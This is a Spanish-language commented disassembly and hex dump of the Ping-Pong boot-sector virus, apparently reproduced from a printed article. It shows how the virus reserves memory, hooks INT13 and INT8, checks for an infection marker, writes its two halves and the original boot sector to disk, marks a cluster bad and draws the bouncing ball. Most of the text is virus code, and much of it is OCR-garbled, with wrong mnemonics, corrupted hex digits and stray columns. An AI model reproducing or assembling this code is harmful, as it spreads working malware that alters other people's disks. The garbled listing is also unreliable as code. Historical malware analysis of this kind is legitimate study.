

VIRUS

PING-PONG

Por Santiago Calvo

;Listado en ensamble del virus PING-PONG o de la pelotita.
;Este es un virus de sector de arranque, su código se encuentra
;dividido en dos mitades.Guarda el sector de arranque original
;del disco infectado a continuación del código de su segunda
;mitad.
;Intercepta en el arranque los vectores de interrupción INT10 y
;INT8, el primero lógicamente para estar al tanto de todas las
;operaciones sobre las unidades de disco, y el segundo para tener
;la noción del tiempo y sacar la pelotita por pantalla en el
;momento elegido.
;El virus se reconoce a si mismo en los discos ya infectados por
;él para evitar reinfecciones.
;La integridad de su código en el disco la salvaguarda marcando
;un cluster como inválido.
;No ejecuta tareas evasivas para intentar no ser descubierto
;usando utilidades de lectura directa en disco, como por ejemplo
;con PCTOOLS.
;Los discos infectados son fácilmente curables simplemente utilizando
;el comando SYS del DOS.

*** Symbolic Instruction Debugger *** Release 3.1
Copyright (c) 1983,1984,1985,1988,1990
Digital Research, Inc. All Rights Reserved

Start	End	OpCode	OpName	OpDesc	M
0000:7D00	0000:7CFF				VDM: 8000:0000
0000:7C1E	JMP	7C1E		0000:7C1E:JMP 7C1E	VDM: 8000:0000
0000:7C1E	XOR	AX,AX			VDM: 8000:0000
0000:7C20	MOV	DS,AX	DS,AX	0000:7C20:MOV DS,AX	VDM: 8000:0000
0000:7C22	MOV	SP,7C00	SP,7C00	0000:7C22:MOV SP,7C00	VDM: 8000:0000
0000:7C25	MOV	DS,AX	DS,AX	0000:7C25:MOV DS,AX	VDM: 8000:0000
0000:7C27	MOV	AX,[0413]	AX,[0413]	0000:7C27:MOV AX,[0413] ;Leer la cantidad de memoria convencional	VDM: 8000:0000
0000:7C2A	SUB	AX,0002	AX,0002	0000:7C2A:SUB AX,0002 ;restarle 2Kbytes	HVM: 8000:0000
0000:7C2D	MOV	[0413],AX	[0413],AX	0000:7C2D:MOV [0413],AX ;y modificar.	VDM: 8000:0000
0000:7C30	MOV	CL,06	CL,06	0000:7C30:MOV CL,06 ;Multiplicar por 64 para 0V	VDM: 8000:0000
0000:7C32	SHL	AX,CL	AX,CL	0000:7C32:SHL AX,CL ;convertir a nº de parrafo	VDM: 8000:0000
0000:7C34	SUB	AX,07C0	AX,07C0	0000:7C34:SUB AX,07C0 ;y restarle 7C0H parrafos	VDM: 8000:0000
0000:7C37	MOV	ES,AX	ES,AX	0000:7C37:MOV ES,AX ;para conseguir direccionar el primer byte de los dos ultimos Kbytes de la memoria convencional mediante la forma ES:7C00.	VDM: 8000:0000
0000:7C39	MOV	SI,7C00	SI,7C00	0000:7C39:MOV SI,7C00 ;Copiar 256 bytes desde la posicion 7C00 a la posicion de destino del que es i3:	VDM: 8000:0000
0000:7C3C	MOV	DI,SI	DI,SI	0000:7C3C:MOV DI,SI ;0000:7C00 a la posicion de destino del que es i3:	VDM: 8000:0000
0000:7C3E	MOV	CX,0100	CX,0100	0000:7C3E:MOV CX,0100 ;ES:7C00. De esta manera se ha copiado el codigo del virus al comienzo de los ultimos dos ultimos Kbytes de la memoria convencional.	VDM: 8000:0000
0000:7C41	REP	SCX	SCX	0000:7C41:REP SCX ;MOVSW el que es el comienzo de los ultimos dos ultimos Kbytes de la memoria convencional.	VDM: 8000:0000
0000:7C43	MOV	CS,AX	CS,AX	0000:7C43:MOV CS,AX ;Tras la ejecucion de estas instrucciones, comienza a ejecutarse	VDM: 8000:0000
0000:7C45	PUSH	CS	CS	0000:7C45:PUSH CS	VDM: 8000:0000
0000:7C46	POP	DS	DS	0000:7C46:POP DS ;el codigo situado en los dos ultimos Kbytes de la memoria convencional.	VDM: 8000:0000
0000:7C47	CALL	7C4A	7C4A	0000:7C47:CALL 7C4A	VDM: 8000:0000
0000:7C4A	XOR	AL,AH	AL,AH	0000:7C4A:XOR AL,AH ;Reiniciar la unidad	VDM: 8000:0000
0000:7C4C	INT	0F13	0F13	0000:7C4C:INT 0F13 ;de disco. Se necesita el sb de informacion de la unidad flexible.	VDM: 8000:0000
0000:7C4E	AND	00BYTE F7DE81	00BYTE F7DE81	0000:7C4E:AND 00BYTE F7DE81 ;Primeros disco duro e-flexible.	VDM: 8000:0000

0000:7C53	MOV	BX,[7DF9]	;Poner en BX el numero de sector donde se almacena la 2ª mitad del virus.
0000:7C57	PUSH	CS	;Poner ES apuntando 32 parrafos por debajo de CS(32 parrafos = 512 bytes)
0000:7C58	POP	AX	;se encuentra la 2ª mitad del virus.
0000:7C59	SUB	AX,0020	;se encuentra la 2ª mitad del virus.
0000:7C5C	MOV	ES,AX	;se encuentra la 2ª mitad del virus.
0000:7C5E	CALL	7C9D	;Leer el sector indicado en BX y almacenar en ES:8000. La 2ª mitad del virus se encuentra ya a continuacion de la 1ª mitad.
0000:7C61	MOV	BX,[7DF9]	;Cargar en 0000:7C00 el sector de arranque del virus.
0000:7C65	INC	BX	;arranque original del disco, cuya copia original se encuentra en el disco en el sector contiguo a donde està grabada la 2ª mitad del virus.
0000:7C66	MOV	AX,FFC0	;correcto solo se producirà si el microprocesador donde se esta ejecutando sea el 8086 o el 8088 debidamente configurado.
0000:7C69	MOV	ES,AX	;dirección FFC0:8000 esta por encima de 1 Mbyte.
0000:7C6B	CALL	7C9D	INT3H F1H para desactivar el interruptor.
0000:7C6E	XOR	AX,AX	
0000:7C70	MOV	[7DF7],AL	
0000:7C73	MOV	DS,AX	;Leer el vector de
0000:7C75	MOV	AX,[004C]	;INT 13
0000:7C78	MOV	BX,[004E]	
0000:7C7C	MOV	WORD [004C],7C00	;Poner el vector de INT13 apuntando a la rutina del virus que gestionara INT13.
0000:7C82	MOV	[004E],CS	
0000:7C86	PUSH	CS	;Modificar la dirección de
0000:7C87	POP	DS	;salto de la instrucción que
0000:7C88	MOV	[7D2A],AX	esta en la dirección
0000:7C8B	MOV	[7D2C],BX	;0000:7D29. Junta el resultado en DS:AX.
0000:7C8F	MOV	DL,[7DF8]	
0000:7C93	JMPF	0000:7C00	;Dar control al código del sector de 0000:7C00 el que ejecuta el código del virus.

```
;Escribe un sector en el disco  
;Entrada BX nº de sector, ES direccion segmento de la zona de almacenamiento  
;El desplazamiento de la direccion de la zona de almacenamiento es 8000H:0000  
;El procedimiento calcular apartir del nº de sector absoluto los numeros de  
;cilindro | cabezal y sector que son los datos que maneja el BIOS en las 15:0000  
;escrituras de disco. El nº se pasa como dato sobr
```

0000: 7C98 MOV AX,0301 ;Preparar orden de escritura.

0000:7C9B JMP\$ 7CA0E ED MOVQ RBP,RDI XA,83 VDM 8400:0000
0000:7C9D 89C8 00000000 00 HOUW 0400:0000
0000:7C9F 488D 00000000 00 PDM 8400:0000

else up sectors del disco

;Lee un sector del disco
;Entrada BX nº de sector, ES:direccion segmento de la zona de almacenamiento
;El desplazamiento de la direccion de la zona de almacenamiento es 8000H:0000
;El procedimiento calcula a partir del nº de sector absoluto los numeros de
cilindro cabeza y sector que son los datos que maneja el BIOS en las 0000H:0000

Las ecuaciones para el calculo de cilindro cabeza y sector son:

sector = 1 + sector.logico MOD sectores.por.pista

cabeza = (sector.logico / sectores.por.pista) MOD numero.de.cabezas

cilindro = sector.logico / sectores.por.pista / numero.de.cabezas

A MOD B es el resto producido al dividir A entre B.

```
0000:7C9D MOV     AX,0201      ;Preparar orden de lectura.

0000:7CA0 XCHG    AX,BX
0000:7CA1 ADD     AX,[7C1C]    ;Añadir al nº de sector el nº de sectores
                                ;ocultos en el disco si los hay.

0000:7CA5 XOR     DX,DX      ;Calcular nº de sector en la pista
0000:7CA7 DIV     WORD [7C18]    ;El resto + 1 es el nº de sector
0000:7CAB INC     DL          ;Incrementar, para el BIOS el primer nº
                                ;de sector en una pista es el 1.

0000:7CAD MOV     CH,DL      ;Calcular nº de cabeza
0000:7CAF XOR     DX,DX      ;
0000:7CB1 DIV     WORD [7C1A]    ;

0000:7CB5 MOV     CL,06      ;;
0000:7CB7 SHL     AH,CL      ;;
0000:7CB9 OR      AH,CH      ;;
0000:7CBB MOV     CX,AX      ;;
0000:7CBD XCHG    CH,CL      ;;
0000:7CBF MOV     DH,DL      ;;
0000:7CC1 MOV     AX,BX      ;;
0000:7CC3 MOV     DL,[7DF8]
0000:7CC7 MOV     BX,8000      ;;
0000:7CCA INT     13          ;;
0000:7CCC JNB     7CCF      ;;
0000:7CCE POP     AX          ;;
0000:7CCF RET             ;;
```

;Rutina del virus para el tratamiento de INT13

```
0000:7CD0 PUSH    DS      ;Salvar registros en la pila.
0000:7CD1 PUSH    ES      ;
0000:7CD2 PUSH    AX      ;El orden de los registros
0000:7CD3 PUSH    BX      ;es importante para el
0000:7CD4 PUSH    CX      ;restablecimiento de los
0000:7CD5 PUSH    DX      ;registros.
0000:7CD6 PUSH    CS      ;Pueden ser DS, ES, CX, DX,
0000:7CD7 POP     DS      ;y CX, DX, DS, ES.
0000:7CD8 PUSH    CS      ;Registros DS y ES con
0000:7CD9 POP     ES      ;el valor de CS.
0000:7CDA TEST    BYTE [7DF7],01    ;Ver si INT13 es llamada por el
0000:7CDF JNZ     7D23      ;propio virus, si así fuera no
                                ;actuar.
0000:7CE1 CMP     AH,02      ;¿Es una operación de lectura?
0000:7CE4 JNZ     7D23      ;Si no es así, no actuar.
0000:7CE6 CMP     [7DF8],DL    ;¿La operación de lectura anterior es
                                ;sobre la misma unidad de disco que ahora?
0000:7CEA MOV     [7DF8],DL    ;Si es así, no actuar.
0000:7CEE JNZ     7D12      ;Si así no fuera saltar.

0000:7CF0 XOR     AH,AH      ;Leer el contador de
```

```

0000:7CF4 TEST    DH,7F          ;Comprobar si el bit de control de la
0000:7CF7 JNZ     7D03          ;interrupción INT13 está establecido.
0000:7CF9 TEST    DL,FO          ;Comprobar si el bit de control de la
0000:7CFC JNZ     7D03          ;interrupción INT13 está establecido.
0000:7CFE PUSH   DX             ;Poner en el stack el resultado de la
0000:7CFF CALL   7EB3          ;llamada anterior.
0000:7D02 POP    DX             ;Sacar de la pila el resultado de la
0000:7D03 MOV    CX,DX          ;Operación anterior.
0000:7D05 SUB    DX,[7EBO]       ;Restar el contenido de [7EBO] de CX.
0000:7D09 MOV    [7EBO],CX       ;Poner el resultado en [7EBO].
0000:7D0D SUB    DX,0024         ;Restar el valor constante 0024 de DX.
0000:7D10 JB    7D23          ;Si el resultado es menor que cero, saltar a 7D23.

0000:7D12 OR     BYTE [7DF7],01      ;Se va a llamar a INT13, indicarlo
0000:7D17 PUSH   SI             ;poniendo a 1 el bit bajo de [7DF7].
0000:7D18 PUSH   DI             ;
0000:7D19 CALL   7D2E          ;Llamar a la subrutina de INT13.
0000:7D1C POP    DI             ;
0000:7D1D POP    SI             ;
0000:7D1E AND   BYTE [7DF7],FE      ;Poner a cero el bit bajo de [7DF7]

0000:7D23 POP    DX             ;Restaurar registros.
0000:7D24 POP    CX             ;
0000:7D25 POP    BX             ;
0000:7D26 POP    AX             ;
0000:7D27 POP    ES             ;
0000:7D28 POP    DS             ;

0000:7D29 JMPF  XXXX:XXXX      ;Saltar a la INT13 original.

0000:7D2E MOV    AX,0201         ;Leer el sector de arranque
0000:7D31 MOV    DH,00           ;de la unidad indicada en [7DF8]
0000:7D33 MOV    CX,0001         ;
0000:7D36 CALL  7CC3          ;

0000:7D39 TEST  BYTE [7DF8],80      ;¿Es la unidad un disco duro de
0000:7D3E JZ    7D63          ;arranque?. Si así es saltar.
0000:7D40 MOV    SI,81BE         ;Apuntar al comienzo de la tabla de
0000:7D43 MOV    CX,0004         ;particiones del disco.
0000:7D46 CMP    BYTE 04[SI],01      ;¿Es una partición DOS con FAT de
0000:7D4A JZ    7D58          ;12 bits?. Saltar si así es.
0000:7D4C CMP    BYTE 04[SI],04      ;¿Es una partición DOS con FAT de
0000:7D50 JZ    7D58          ;16 bits?. Si así es saltar.
0000:7D52 ADD    SI,0010         ;
0000:7D55 LOOP  7D46          ;Chequear el siguiente ítem de la tabla.
0000:7D57 RET             ;No había alguna partición DOS, Retornar.

```

;Frótese el virus las manos porque ha encontrado una víctima. [Puedes leerlo](#)

```

0000:7D63 MOV SI,8002 ;Copiar el bloque de parámetros
0000:7D66 MOV DI,7C02 ;del disco en el cuerpo del virus.
0000:7D69 MOV CX,001C ;
0000:7D6C REP MOVSB [DI],SI ;Copiar el bloque de parámetros
                                ;del disco en el cuerpo del virus.

0000:7D6E CMP WORD [81FC],1357 ;¿Estaba ya infectado el disco?
0000:7D74 JNZ 7D8B ;Si no es así saltar.

0000:7D76 CMP BYTE [81FB],00
0000:7D7B JNB 7DBA
0000:7D7D MOV AX,[81F5]
0000:7D80 MOV [7DF5],AX
0000:7D83 MOV SI,[81F9]
0000:7D87 JMP 7E92
0000:7D8A RET

;IIIIIIIIII AAA IIIINNNFFFEEECCCTTAAARRR !!!!!!

0000:7D8B CMP WORD [800B],0200 ;¿Sectores de 512 bytes?
0000:7D91 JNZ 7D8A

0000:7D93 CMP BYTE [800D],02 ;¿Dos sectores por cluster?
0000:7D98 JB 7D8A

0000:7D9A MOV CX,[800E] ;Nº de sectores en el área reservada.
0000:7D9E MOV AL,[8010] ;Nº de copias de la FAT.
0000:7DA1 CBW
0000:7DA2 MUL WORD [8016] ;Multiplicar por el nº de sectores por FAT
0000:7DA6 ADD CX,AX

0000:7DAB MOV AX,0020 ;20H es el tamaño de una entrada en el
                        ;directorio raíz.

0000:7DAB MUL WORD [8011] ;Multiplicar por el nº de entradas en el
                        ;directorio raíz.

0000:7DAF ADD AX,01FF
0000:7DB2 MOV BX,0200
0000:7DB5 DIV BX
0000:7DB7 ADD CX,AX
0000:7DB9 MOV [7DF5],CX
0000:7DBD MOV AX,[7C13]
0000:7DC0 SUB AX,[7DF5]
0000:7DC4 MOV BL,[7C0D]
0000:7DC8 XOR DX,DX
0000:7DCA XOR BH,BH
0000:7DCC DIV BX
0000:7DCE INC AX
0000:7DCF MOV DI,AX
0000:7DD1 AND BYTE [7DF7],FB
0000:7DD6 CMP AX,0FF0 ;¿Es el nº del último cluster mayor
0000:7DD9 JBE 7DE0 ;o igual a 4080?.
                                ;FAT de 12 bits menos de 4078 clusters
                                ;FAT de 16 bits más de 4078 clusters.

0000:7DDB OR BYTE [7DF7],04 ;FAT de 16 bits, indicarlo poniendo
                                ;a uno el bit dos.

0000:7DE0 MOV SI,0001
0000:7DE3 MOV BX,[7C0E] ;Nº de sectores en el área reservada.
0000:7DE7 DEC BX

```

```

0000:7DEC MOV     BYTE [7EB2],FE
0000:7DF1 JMPS    7E00

0000:7DF3 01 00 0C 00 01 00 A6 02 00 57 13 55 AA FF 06 F3 .....W.U.... 

0000:7E00 INC     WORD [7DF3]
0000:7E04 MOV     BX,[7DF3]
0000:7E08 ADD     BYTE [7EB2],02
0000:7E0D CALL    7C9D
0000:7E10 JMPS    7E4B
0000:7E12 MOV     AX,0003
0000:7E15 TEST   BYTE [7DF7],04 ;&FAT de 16 bits?
0000:7E1A JZ      7E1D
0000:7E1C INC     AX
0000:7E1D MUL     SI
0000:7E1F SHR     AX,1
0000:7E21 SUB     AH,[7EB2]
0000:7E25 MOV     BX,AX
0000:7E27 CMP     BX,01FF
0000:7E2B JNB    7E00
0000:7E2D MOV     DX,8000[BX]
0000:7E31 TEST   BYTE [7DF7],04 ;&FAT de 16 bits?
0000:7E36 JNZ    7E45
0000:7E38 MOV     CL,04
0000:7E3A TEST   SI,0001
0000:7E3E JZ      7E42
0000:7E40 SHR     DX,CL
0000:7E42 AND     DH,OF
0000:7E45 TEST   DX,FFFF
0000:7E49 JZ      7E51
0000:7E4B INC     SI
0000:7E4C CMP     SI,DI
0000:7E4E JBE    7E12
0000:7E50 RET
0000:7E51 MOV     DX,FFF7
0000:7E54 TEST   BYTE [7DF7],04 ;&FAT de 16 bits?
0000:7E59 JNZ    7E68
0000:7E5B AND     DH,OF
0000:7E5E MOV     CL,04
0000:7E60 TEST   SI,0001
0000:7E64 JZ      7E68
0000:7E66 SHL     DX,CL
0000:7E68 OR      8000[BX],DX
0000:7E6C MOV     BX,[7DF3]
0000:7E70 CALL    7C98
0000:7E73 MOV     AX,SI ;Convertir el nº de cluster
0000:7E75 SUB     AX,0002 ;nº de cluster
0000:7E78 MOV     BL,[7C0D] ;añadir el nº del sector.
0000:7E7C XOR     BH,BH ;añadir el nº del
0000:7E7E MUL     BX,;
0000:7E80 ADD     AX,[7DF5];
0000:7E84 MOV     SI,AX;
0000:7E86 MOV     BX,0000 ;Leer el sector de arranque.
0000:7E89 CALL    7C9D;
0000:7EBC MOV     BX,SI
0000:7E8E INC     BX
0000:7E8F CALL    7C98
0000:7E92 MOV     BX,SI
0000:7E94 MOV     [7DF9],SI

```

0000:7E99 POP	AX	;segunda mitad del código	VIRUS
0000:7E9A SUB	AX,0020	;del virus.	INT8
0000:7E9D MOV	ES,AX	;	HOLDA
0000:7E9F CALL	7C98	;	
0000:7EA2 PUSH	CS	;Grabar en el disco la	VIRUS
0000:7EA3 POP	AX	;primera mitad del código	INT8
0000:7EA4 SUB	AX,0040	;del virus.	WORD
0000:7EA7 MOV	ES,AX	;	01
0000:7EA9 MOV	BX,0000	;BX=sector cero	WORD
0000:7EAC CALL	7C98	;	HOLD
0000:7EAF RET		;	
0000:7EB3 TEST	BYTE [7DF7],02		
0000:7EB8 JNZ	7EDE		
0000:7EBA OR	BYTE [7DF7],02	INT8	WORD
0000:7EBF MOV	AX,0000	WORD	WORD
0000:7EC2 MOV	DS,AX	WORD	WORD
0000:7EC4 MOV	AX,[0020]	WORD	WORD
0000:7EC7 MOV	BX,[0022]	WORD	WORD
0000:7ECB MOV	WORD [0020],7EDF	WORD	WORD
0000:7ED1 MOV	[0022],CS	WORD	WORD
0000:7ED5 PUSH	CS	WORD	WORD
0000:7ED6 POP	DS	WORD	WORD
0000:7ED7 MOV	[7FC9],AX	WORD	WORD
0000:7EDA MOV	[7FCB],BX	WORD	WORD
0000:7EDE RET		WORD	WORD

Rutina del virus para el tratamiento de INT8
Es este código el encargado de sacar la pelotita
en el monitor.

0000:7EDF PUSH	DS	WORD	WORD
0000:7EE0 PUSH	AX	WORD	WORD
0000:7EE1 PUSH	BX	WORD	WORD
0000:7EE2 PUSH	CX	WORD	WORD
0000:7EE3 PUSH	DX	WORD	WORD
0000:7EE4 PUSH	CS	WORD	WORD
0000:7EE5 POP	DS	WORD	WORD
0000:7EE6 MOV	AH,0F	;Obtener el modo de video actual.	WORD
0000:7EE8 INT	10	WORD	WORD
0000:7EEA MOV	BL,AL	BL <= AL <= 07 modo texto	WORD
0000:7EEC CMP	BX,[7FD4]	;¿Ha cambiado el modo de video desde	WORD
0000:7EF0 JZ	7F27	la ocasión anterior?	WORD
0000:7EF2 MOV	[7FD4],BX	WORD	WORD
0000:7EF6 DEC	AH	;Decrementar una columna.	WORD
0000:7EF8 MOV	[7FD6],AH	WORD	WORD
0000:7EFC MOV	AH,01	WORD	WORD
0000:7EFE CMP	BL,07	;¿Modo de video 07 (monocromo 80 x 25) ?	WORD
0000:7F01 JNZ	7F05	BL < 07 modo texto	WORD
0000:7F03 DEC	AH	WORD	WORD
0000:7F05 CMP	BL,04	;¿Modo de video 04 (graficos) ?	WORD
0000:7F08 JNB	7FOC	;Saltar si modo texto (no superior a 04).	WORD
0000:7F0A DEC	AH	WORD	WORD
0000:7FOC MOV	[7FD3],AH	WORD	WORD
0000:7F10 MOV	WORD [7FCF],0101s	WORD	WORD
0000:7F16 MOV	WORD [7FD1],0101	WORD	WORD

0000:7F1C MOV	AH,03	;Buscar la posición del cursor	0000:7F1D INT	10	;DH=fila, DL=columna.
0000:7F20 PUSH	DX	;	0000:7F21 MOV	DX,[7FCF]	
0000:7F25 JMPS	7F4A		0000:7F27 MOV	AH,03	
0000:7F29 INT	10		0000:7F2B PUSH	DX	
0000:7F2C MOV	AH,02	;Definir la posición del cursor	0000:7F2E MOV	DX,[7FCF]	;
0000:7F32 INT	10	;	0000:7F34 MOV	AX,[7FCD]	
0000:7F37 CMP	BYTE [7FD3],01		0000:7F3C JNZ	7F41	
0000:7F3E MOV	AX,B307	;Escribir un carácter y su atributo	0000:7F41 MOV	BL,AH	;en la posición del cursor, fondo
0000:7F43 MOV	CX,0001	;negro ,primer plano cyan intenso	0000:7F46 MOV	AH,09	;con parpadeo.
0000:7F48 INT	10	;	0000:7F4A MOV	CX,[7FD1]	
0000:7F4E CMP	DH,00		0000:7F51 JNZ	7F58	
0000:7F53 XOR	CH,FF		0000:7F56 INC	CH	
0000:7F58 CMP	DH,18		0000:7F5B JNZ	7F62	
0000:7F5D XOR	CH,FF	;Complemento a dos de CH.	0000:7F60 INC	CH	
0000:7F62 CMP	DL,00		0000:7F65 JNZ	7F6C	
0000:7F67 XOR	CL,FF	;Complemento a dos de CL.	0000:7F6A INC	CL	
0000:7F6C CMP	DL,[7FD6]	sb chas 10000000	0000:7F70 JNZ	7F77	
0000:7F72 XOR	CL,FF	;Complemento a dos de CL.	0000:7F75 INC	CL	
0000:7F77 CMP	CX,[7FD1]	valor de fila en CX	0000:7F7B JNZ	7F94	
0000:7F7D MOV	AX,[7FCD]		0000:7F80 AND	AL,07	
0000:7F82 CMP	AL,03		0000:7F84 JNZ	7F8B	
0000:7F86 XOR	CH,FF	;Complemento a dos de CH.	0000:7F89 INC	CH	
0000:7F8B CMP	AL,05		0000:7FB0 JNZ	7F94	
0000:7F8F XOR	CL,FF	;Complemento a dos de CL.	0000:7F92 INC	CL	

0000:7F94 ADD	DL,CL	;
0000:7F96 ADD	DH,CH	;
0000:7F98 MOV	[7FD1],CX	;
0000:7F9C MOV	[7FCF],DX	;
0000:7FA0 MOV	AH,02	;Definir posición del cursor.
0000:7FA2 INT	10	;
0000:7FA4 MOV	AH,08	;Leer carácter y su atributo en la
0000:7FA6 INT	10	;posición del cursor.
0000:7FA8 MOV	[7FCD],AX	
0000:7FAB MOV	BL,AH	
0000:7FAD CMP	BYTE [7FD3],01	
0000:7FB2 JNZ	7FB6	
0000:7FB4 MOV	BL,83	;Escribir un carácter en la posición
0000:7FB6 MOV	CX,0001	;del cursor, fondo negro, primer plano
0000:7FB9 MOV	AX,0907	;cyan intenso con parpadeo.
0000:7FBC INT	10	;
0000:7FBE POP	DX	;Restaurar la posición que tenía el cursor
0000:7FBF MOV	AH,02	;antes de actuar el virus en la pantalla.
0000:7FC1 INT	10	;
0000:7FC3 POP	DX	
0000:7FC4 POP	CX	
0000:7FC5 POP	BX	
0000:7FC6 POP	AX	
0000:7FC7 POP	DS	
0000:7FC8 JMPF	XXXX:XXXX	;Saltar a la INT8 original.

** Symbolic Instruction Debugger *** Release 3.1
Copyright (c) 1983,1984,1985,1988,1990
Digital Research, Inc. All Rights Reserved

Start End
000:7000 0000:7FFF

000:7000 EB 1C 90 49 42 4D 20 20 33 2E 31 00 02 02 01 00 ...IBM 3.1...
000:7C10 02 70 00 D0 02 FD 02 00 09 00 02 00 00 00 33 C0 .p.....3.
000:7C20 8E D0 BC 00 7C 8E D8 A1 13 04 2D 02 00 A3 13 04I.....
000:7C30 B1 06 D3 E0 2D C0 07 8E C0 BE 00 7C BB FE B9 00-....I...
000:7C40 01 F3 A5 90 90 0E 1F E8 00 00 32 E4 CD 13 80 262....&
000:7C50 F8 7D 80 8B 1E F9 7D 0E 58 2D 20 00 8E C0 E8 3C .3....>X-...<
000:7C60 00 BB 1E F9 7D 43 B8 C0 FF BE C0 E8 2F 00 33 C0 ..3.C...../3.
000:7C70 A2 F7 7D 8E D8 A1 4C 00 8B 1E 4E 00 C7 06 4C 00 ..3...L...N...L.
000:7C80 D0 7C 8C 0E 4E 00 0E 1F A3 2A 7D 89 1E 2C 7D 8A .1..N....*3.,3.
000:7C90 16 F8 7D EA 00 7C 00 00 B8 01 03 EB 03 B8 01 02 ..3..I.....
000:7CA0 93 03 06 1C 7C 33 D2 F7 36 18 7C FE C2 8A EA 33 ..13..6.I...3.
000:7CB0 D2 F7 36 1A 7C B1 06 D2 E4 0A E5 8B C8 86 E9 8A ..6.I.....
000:7CC0 F2 BB C3 8A 16 F8 7D BB 00 80 CD 13 73 01 58 C3 ..3....S.X.
000:7CD0 1E 06 50 53 51 52 0E 1F 0E 07 F6 06 F7 7D 01 75 ..PSQR.....3.u
000:7CE0 42 80 FC 02 75 3D 38 16 F8 7D 88 16 F8 7D 75 22 B...u=8..3...3u"
000:7CF0 32 E4 CD 1A F6 C6 7F 75 0A F6 C2 F0 75 05 52 E8 2.....u...u.R.
000:7D00 B1 01 5A 8B CA 2B 16 B0 7E 89 0E B0 7E 83 EA 24 ..Z...+...~...~...\$
000:7D10 72 11 80 0E F7 7D 01 56 57 E8 12 00 5F 5E 80 26 r....3.VW..._^.&
000:7D20 F7 7D FE 5A 59 5B 58 07 1F EA 59 2C 00 FC B8 01 ..3.ZYEX...Y..
000:7D30 02 B6 00 B9 01 00 E8 8A FF F6 06 F8 7D 80 74 23 ..3.t#
000:7D40 BE BE B1 B9 04 00 80 7C 04 01 74 0C 80 7C 04 04 ..!..t..!..
000:7D50 74 06 83 C6 10 E2 EF C3 8B 14 8B 4C 02 B8 01 02 t.....L..
000:7D60 E8 60 FF BE 02 80 BF 02 7C B9 1C 00 F3 A4 81 3E ..'.....!....>
000:7D70 FC 81 57 13 75 15 80 3E FB 81 00 73 OD A1 F5 81 ..W.u..>..s..
000:7D80 A3 F5 7D 8B 36 F9 81 E9 08 01 C3 81 3E 0B 80 00 ..3.6.....>..
000:7D90 02 75 F7 80 3E OD 80 02 72 F0 8B 0E 0E 80 A0 10 ..u..>..r..
000:7DAO 80 98 F7 26 16 80 03 C8 B8 20 00 F7 26 11 80 05 ..&.....&..
000:7DB0 FF 01 BB 00 02 F7 F3 03 C8 B9 0E F5 7D A1 13 7C ..3..!..
000:7DC0 2B 06 F5 7D 8A 1E OD 7C 33 D2 32 FF F7 F3 40 8B +..3...13.2...@.
000:7DD0 F8 80 26 F7 7D FB 3D F0 OF 76 05 80 0E F7 7D 04 ..&.3.=..v...3.
000:7DE0 BE 01 00 8B 1E 0E 7C 4B 89 1E F3 7D C6 06 B2 7E ..!K..3...?..
000:7DF0 FE EB OD 01 00 0C 00 01 00 A6 02 00 57 13 55 AA ..W.U..
000:7E00 FF 06 F3 7D 8B 1E F3 7D 80 06 B2 7E 02 E8 8D FE ..3...3...~..
000:7E10 EB 39 B8 03 00 F6 06 F7 7D 04 74 01 40 F7 E6 D1 ..9...3.t.@..
000:7E20 E8 2A 26 B2 7E 8B DB 81 FB FF 01 73 D3 BB 97 00 ..*&..~...s..
000:7E30 80 F6 06 F7 7D 04 75 OD B1 04 F7 C6 01 00 74 02 ..3.u.....t..
000:7E40 D3 EA 80 E6 OF F7 C2 FF FF 74 06 46 3B F7 76 C2 ..t.F;..v..
000:7E50 C3 BA F7 FF F6 06 F7 7D 04 75 OD 80 E6 OF B1 04 ..3.u.....
000:7E60 F7 C6 01 00 74 02 D3 E2 09 97 00 80 BB 1E F3 7D ..t.....>..
000:7E70 E8 25 FE 8B C6 2D 02 00 8A 1E OD 7C 32 FF F7 E3 ..%....12...
000:7E80 03 06 F5 7D 8B F0 BB 00 00 E8 11 FE BB DE 43 E8 ..3.....C..
000:7E90 06 FE BB DE 89 36 F9 7D 0E 58 2D 20 00 8E C0 E8 ..6.3.X-...
000:7EA0 F6 FD 0E 58 2D 40 00 8E C0 BB 00 00 E8 E9 FD C3 ..X-@..
000:7EB0 A8 10 00 F6 06 F7 7D 02 75 24 80 0E F7 7D 02 B8 ..3.u\$...3..
000:7EC0 00 00 BE D8 A1 20 00 BB 1E 22 00 C7 06 20 00 DF .."....
000:7ED0 7E 8C 0E 22 00 0E 1F A3 C9 7F 89 1E CB 7F C3 1E ..^...
000:7EE0 50 53 51 52 0E 1F B4 0F CD 10 8A D8 3B 1E D4 7F PSQR ..;...
000:7EF0 74 35 89 1E D4 7F FE CC 8B 26 D6 7F B4 01 80 FB t5 ..&...
000:7FO0 07 75 02 FE CC 80 FB 04 73 02 FE CC 8B 26 D3 7F ..u...s...&..
000:7F10 C7 06 CF 7F 01 01 C7 06 D1 7F 01 01 B4 03 CD 10 ..
000:7F20 52 8B 16 CF 7F EB 23 B4 03 CD 10 52 B4 02 8B 16 R....#....R..
000:7F30 CF 7F CD 10 A1 CD 7F 80 3E D3 7F 01 75 03 B8 07 ..>..u...
000:7F40 B3 8A DC B9 01 00 B4 09 CD 10 8B 0E D1 7F 80 FE ..
000:7F50 00 75 05 80 F5 FF FE C5 80 FE 18 75 05 80 F5 FF ..u.....u...

de arriagae

en el vector

0000:7F90 F1 FF FE C1 02 D1 02 F5 89 OE D1 7F 89 16 CF 7F
0000:7FA0 B4 02 CD 10 B4 08 CD 10 A3 CD 7F 8A DC 80 3E D3>.
0000:7FB0 7F 01 75 02 B3 B3 B9 01 00 B8 07 09 CD 10 5A B4 ..u.....Z..
0000:7FC0 02 CD 10 5A 59 5B 58 1F EA 2C 02 70 00 52 07 10 ...ZYEX..,·p·R..
0000:7FD0 12 FF 01 00 07 00 4F B7 B7 B7 B6 40 40 88 DE E6O....@@...
0000:7FE0 5A AC D2 E4 EA E6 40 50 EC 40 64 5C 60 52 40 40 Z.....@P.@d\`R@@
0000:7FF0 40 40 64 62 5E 62 60 5E 70 6E 40 41 B7 B7 B7 B6 @edb^b`^pn@A....